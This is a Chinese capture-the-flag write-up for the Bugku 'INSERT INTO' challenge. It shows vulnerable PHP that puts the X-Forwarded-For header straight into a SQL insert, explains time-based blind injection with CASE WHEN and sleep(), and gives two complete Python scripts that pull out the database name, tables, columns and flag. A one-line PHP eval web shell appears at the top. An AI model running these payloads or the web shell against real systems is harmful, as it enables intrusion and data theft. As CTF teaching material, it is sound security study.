Bugku INSERT INTO注入
<script language=”php”>@eval_r($_POST[sb])</script>
唔,学习了一波。
这道题目的去掉了, 不能用if(exp1,exp2,exp3)的方式。
然后我就恶补了一下 case when then else end 的知识
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
源代码里面去掉了, 号,并且是一个
X-Forwarded-For的注入
测试一下延时注入,发现会延时5秒钟
X-Forwarded-For: 1'+sleep(5) and '1'='1
然后自己也在本地搭建了一个环境
这是正常插入数据的语句。改成我们注入的方式如下:
然后此时会变成5秒钟
那么此刻这个题目中只能用 case when then else end 的这种方式。那么就只能通过时间来判断了。
查询数据的时候。用如下的方式
举个例子
例如上面的。case 第一个是全部为真。相当于 shell 脚本中的if [1 =1];then 2=2 else 3=3
when 后面的是一个判断语句 的方式。如果成立执行 then 语句2=2 不为真就等于3=3
第三个。判断为1=2 是不为真的。直接走了 1=3 那也不为真。返回为0
这里可以用于获取数据库的名称。
这里通过了一个判断。判断了当前数据的第一个字符为什么。substring 是一个字符切片的函数
然后判断 第一个字符是否等于a 如果等于a 那么就sleep(4)
如果不等于就else 1
那么可以通过一个测试得到 数据库的名称。脚本如下:
#!/usr/bin/env python
import requests,time,string
characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"
def get_database():
flag = ''
for i in range(1, max_length):
next_position = False
for char in characters:
payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
headers = {
'X-Forwarded-For': payload
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag
get_database()
那么怎么去获取数据的表信息呢
还是本地环境。然后我们知道了数据的名称为web15 就可以去获取表名
上面的结构如下:
这里可以查询到表的信息。通过substring 的方式获取第一个是否为a 然后用case when 的方式进行判断详细的语句如下:
(select case when (substring((select table_name from information_schema.tables where table_schema='admin' limit 1 offset 0) from 1 for 1) ='a') then sleep(4) else 1 end and '1'='1');
可能有点绕了。不过分段理解就可以理解了。建议大家本地搭建一个环境。然后插入的方式如下:
这里执行了时间为4.02 秒说明 第一张表的名称第一个字为a
下面发一个大佬写的脚本。很详细
# encoding:utf-8
import requests,time,string
characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
# 猜解字母
def get(payload):
flag = ''
for i in range(1, max_length): # i 表示了所要查找的名字的最大长度
next_position = False
for char in characters: # 0x80=128 , 0x20=32, 32-128为可显示的字符的区间
payload_ = payload.format(str(i), char)
headers = {
'X-Forwarded-For': payload_
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag
# 指定数据库,获取其下全部表名
def get_table(database):
for i in range(0,5):
print("正在查询数据库" + database + "中的表")
payload = "'+(select case when (substring((" \
"select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
table = get(payload)
print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
get_col(table)
if not table:
print('数据库'+database+'中的表查询完毕')
break
# 查字段
def get_col(table):
for i in range(0,5):
print("正在查询表" + table + "中的字段")
payload = "'+(select case when (substring((" \
"select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
column = get(payload)
print("表" + table + "的第" + str(i+1) + "个字段为" + column )
# print(column)
if not column:
print("表" + table + "中的字段查询完毕")
break
# 作为单独的模块使用吧,获取字段详细信息
def result(column,table):
payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
print(get(payload))
a = 'flag'
result(a,a)
if __name__ == "__main__":
database1 = get(cur_database)
table1 = get_table(database1)
最后获取的flag 如下: cdbf14c9551d5be5612f7bb5d2867853
大佬写的轮子真的有趣。感觉可以深入改一下这个轮子
参考文章如下:https://bbs.ichunqiu.com/thread-41915-1-1.html
如果小弟有那些写的不对的,请各位大佬指定指定。太菜了。
留下了没有技术的泪水















王 冠
2019年8月3日 下午4:26
非常简单易懂
sketch_pl4ne
2019年8月30日 下午9:33
学习了